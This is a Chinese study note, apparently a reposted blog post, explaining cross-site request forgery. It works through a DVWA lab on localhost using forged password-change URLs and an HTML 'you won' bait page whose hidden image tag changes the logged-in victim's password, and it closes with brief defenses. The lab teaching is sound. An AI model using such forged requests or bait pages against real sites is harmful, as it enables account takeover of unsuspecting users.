CSRF 漏洞

Web安全攻防 学习笔记

一、CSRF 原理介绍


1.1、CSRF 漏洞定义

        CSRF(cross-site request forery,跨站请求伪造),也被称为 one click attack 或者 session riding ,通过缩 写为 CSRF 或者 XSRF



1.2、XSS 与 CSRF 区别

  1. XSS 利用站点内的信任用户,盗取 cookie

  2. CSRF 通过伪装成受信任用户请求信任的网站



1.3、CSRF 漏洞原理

利用目标用户的合法身份,以目标用户的名字执行某些非法操作。如:

  • 正常用户转账
	http://www.xxx.com/pay.php?user=xx&money=100
  • 恶意用户转账
	http://www.xxx.com/pay.php?user=恶意用户&money=1000



1.4、CSRF 漏洞利用

  1. 修改密码

        (1)登录 DVWA 环境 http://127.0.0.1/dvwa(初始账号 admin,密码 password)

        (2)DVWA Security 设置为 Low

        (3)进入 CSRF 修改密码

	# 直接显示在了 url 上
	http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change#

        (4)使用恶意 url 进行修改

	# 修改了 url 的参数, 然后直接访问 url 就能把密码修改
	# 虽然很 low, 但它也确实存在过一段时间
	http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

        (5)提升 DVWA Security 等级为 Impossible

	# 多了一个 user_token 参数
	# 该参数相当于是身份验证, 每次都是不一样的, 所有能很好的规避上面的漏洞
	http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_current=admin&password_new=possword&password_conf=possword&Change=Change&user_token=3d2ebc4070e9f2bc752c42caa7ad2c91#

  1. 隐藏链接修改密码

        在我们正常浏览网站时,应该都看到过弹出来的小广告,我们点击关闭却会链接到别的网址。

        简单写个 html 页面:

	<!DOCTYPE html>
	<html lang="en">
	<head>
		<meta charset="UTF-8"> 
		<title>Title</title>
	</head>
	<body>
		<h1>中奖了</h1> 
		<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change#" alt="">
	</body>
	</html>

在这里插入图片描述
        再次登录 DVWA 就会发现,密码已经改了。(这里能改密码,那么是不是也能做点别的?)


1.5、CSRF 防御措施

CSRF漏洞实质:服务器无法准确判断当前请求是否是合法用户的自定义操作。

  1. 验证码防御

  2. referer check 防御(referer 字段显示当前页面是从何而来)

发布了140 篇原创文章 · 获赞 1 · 访问量 5552

猜你喜欢

转载自blog.csdn.net/qq_43621629/article/details/104670765